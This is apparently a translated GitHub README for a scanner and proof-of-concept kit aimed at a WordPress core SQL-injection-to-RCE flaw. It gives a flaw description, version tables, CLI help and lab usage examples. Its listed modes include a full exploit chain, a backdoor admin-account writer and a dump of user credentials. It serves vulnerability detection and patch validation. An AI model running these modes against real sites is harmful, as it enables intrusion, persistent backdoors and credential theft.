fullhunt/wp2shell-scan
GitHub: fullhunt/wp2shell-scan
FullHunt 开源的针对 WordPress 核心 CVE-2026-63030 未授权远程代码执行漏洞的专用扫描与概念验证工具包。
Stars: 4 | Forks: 2
wp2shell-scan
用于 CVE-2026-63030 (wp2shell) 的扫描和概念验证工具包,这是 WordPress 核心中一个未授权的远程代码执行漏洞
# 功能 - 两种非破坏性检测方法:`--check-type time-based` (SLEEP 计时) 和 `--check-type error-based` (TRUE/FALSE/破损差异)。两者对于大规模资产扫描都是安全的。 - 支持在单次运行中处理 URL 列表和多个目标。 - 基于内容的布尔盲注提取无需 SLEEP、错误输出或 MySQL FILE 权限即可工作。 - 基于时间的盲注提取作为不可靠布尔注入的备用方案。 - REST endpoint 探测,以找出哪些路由将注入传递给了 WP_Query。 - 完整的漏洞利用链验证 (SQLi → INTO OUTFILE → PHP 执行),受显式的 `--i-have-authorization` 标志控制。 - 本地易受攻击的测试床 (Docker),用于安全的离线复现。 # 🚨 公告 (2026 年 7 月) CVE-2026-63030 ("wp2shell") 是 WordPress 核心中一个未经授权的远程代码执行漏洞。REST API batch endpoint (`/batch/v1`) 中的一个路由混淆 / 索引去同步化 bug 允许未经身份验证的攻击者将未经清理的 `author_exclude` 值偷渡到 `WP_Query` 中,导致 SQL 注入。如果数据库用户拥有 FILE 权限,这将通过 `SELECT ... INTO OUTFILE` 导致远程代码执行。无需任何插件。原生的 WordPress 安装即受影响。 WordPress 已在 **6.9.5, 7.0.2, 和 7.1-beta2** 中发布了修复程序。请立即打补丁。如果您需要帮助扫描或发现您基础设施中的此漏洞,请发送电子邮件至 team@fullhunt.io。 | 分支 | 受影响版本 | 已修复版本 | |--------|------------|-------| | 6.9 | 6.9.0–6.9.4 | 6.9.5 | | 7.0 | 7.0.0–7.0.1 | 7.0.2 | | 7.1 | 7.1-beta1 | 7.1-beta2 | | < 6.9 | 不受影响 (不存在 batch endpoint) | — | # 描述 自从 wp2shell (CVE-2026-63030) 被公开披露以来,我们一直在对其进行研究,并与我们的客户合作防止此漏洞。我们正在开源一款开放的检测和扫描工具,用于发现和验证 CVE-2026-63030。安全团队应使用它来扫描其基础设施以查找 wp2shell,并验证 WAF 规则和补丁是否确实在组织环境中阻断了攻击链。 **wp2shell-scan.py** 是一个单一且统一的扫描器,支持八种模式: | 模式 | 用途 | 需要授权 | |------|---------|---------------| | `check` | 非破坏性检测。两种检测类型:`--check-type time-based` (SLEEP 计时探测) 或 `--check-type error-based` (TRUE/FALSE/破损差异)。 | 否 | | `probe-endpoints` | 发现哪些 REST endpoint 将注入传递给了 WP_Query。 | 否 | | `probe` | 对 N 个 SQL payload 响应进行并排对比。 | 否 | | `extract` | 通过布尔盲注提取数据库元数据和哈希。 | 是 | | `blind` | 基于时间的盲注提取 (当布尔盲注不可靠时的备用方案)。 | 是 | | `exploit` | 验证完整的 SQLi → INTO OUTFILE → PHP 执行链。 | 是 | | `adduser` | 编写一个 mu-plugin 后门来创建管理员账户;回退到布尔哈希提取。 | 是 | | `get-users` | 通过布尔盲注转储所有 `wp_users` 凭据。 | 是 | # 用法 ``` $ python3 wp2shell-scan.py -h usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY] [--check-type {time-based,error-based}] [-k] [--timeout TIMEOUT] [--sleep SLEEP] [--endpoint ENDPOINT] [--webroot PATH[,PATH...]] [--out-name OUT_NAME] [--php-code PHP_CODE] [--user-login USER_LOGIN] [--user-pass USER_PASS] [--user-email USER_EMAIL] [--i-have-authorization] [--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]] [--all] [-v] {check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users} CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation. positional arguments: {check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users} Scan mode. options: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -l USEDLIST, --list USEDLIST Check a list of URLs. -p PROXY, --proxy PROXY Send requests through proxy. --check-type {time-based,error-based} Detection method for check mode - [Default: time-based]. -k, --insecure Disable TLS certificate verification. --timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15]. --sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5]. --endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories]. --webroot PATH[,PATH...] Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html]. --out-name OUT_NAME Dropped filename - [Default: random]. --php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '']. --user-login USER_LOGIN Backdoor username for adduser mode - [Default: wpadmin]. --user-pass USER_PASS Backdoor password for adduser mode. --user-email USER_EMAIL Backdoor email for adduser mode. --i-have-authorization Required for exploit, adduser, get-users, extract, and blind modes. --sql LABEL:SQL probe mode: repeatable label:sql payload pair. --query QUERY extract/blind mode: custom SQL scalar query to extract. --dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version. --all extract mode: dump all prebuilt queries. -v, --verbose ``` ## 基于时间的检测 (非破坏性 SLEEP 计时探测) ``` $ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based ``` ## 基于错误的检测 (非破坏性 TRUE / FALSE / 破损差异) ``` $ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based ``` ## 扫描 URL 列表 ``` $ python3 wp2shell-scan.py check -l urls.txt ``` ## 查找哪些 REST Endpoint 可被注入 ``` $ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local ``` ## 通过布尔盲注提取数据 (无需 FILE 权限) ``` $ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version ``` ## 验证完整的 RCE 链 (仅限已授权目标) ``` $ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization ``` # 安装说明 ``` $ pip3 install -r requirements.txt ``` # Docker 支持 ``` git clone https://github.com/fullhunt/wp2shell-scan.git cd wp2shell-scan sudo docker build -t wp2shell-scan . sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local ``` # 本地测试床 包含一个设计上易受攻击的 WordPress 7.0.1 + MariaDB 环境(已授予 FILE 权限),用于安全的离线复现: ``` $ cd testbed $ docker compose up -d # 完成 http://localhost:8080 上的 WordPress setup wizard,然后: $ python3 wp2shell-scan.py check -u http://localhost:8080 ``` # 法律免责声明 本项目仅供教育和道德测试目的使用。未经双方事先同意,使用 wp2shell-scan 攻击目标是非法的。遵守所有适用的地方、州和联邦法律是最终用户的责任。开发者不承担任何责任,也不对由此程序造成的任何误用或损坏负责。 # 许可证 该项目采用 MIT 许可证授权。 # 作者 _Mazin Ahmed_ - 电子邮件:_mazin at FullHunt.io_ - FullHunt:[https://fullhunt.io](https://fullhunt.io) - 个人网站:[https://mazinahmed.net](https://mazinahmed.net) - Twitter:[https://twitter.com/mazen160](https://twitter.com/mazen160) - 领英:[http://linkedin.com/in/infosecmazinahmed](http://linkedin.com/in/infosecmazinahmed)标签:CI/CD, CISA项目, WordPress, 加密, 漏洞扫描器, 编程工具, 请求拦截, 远程代码执行, 逆向工具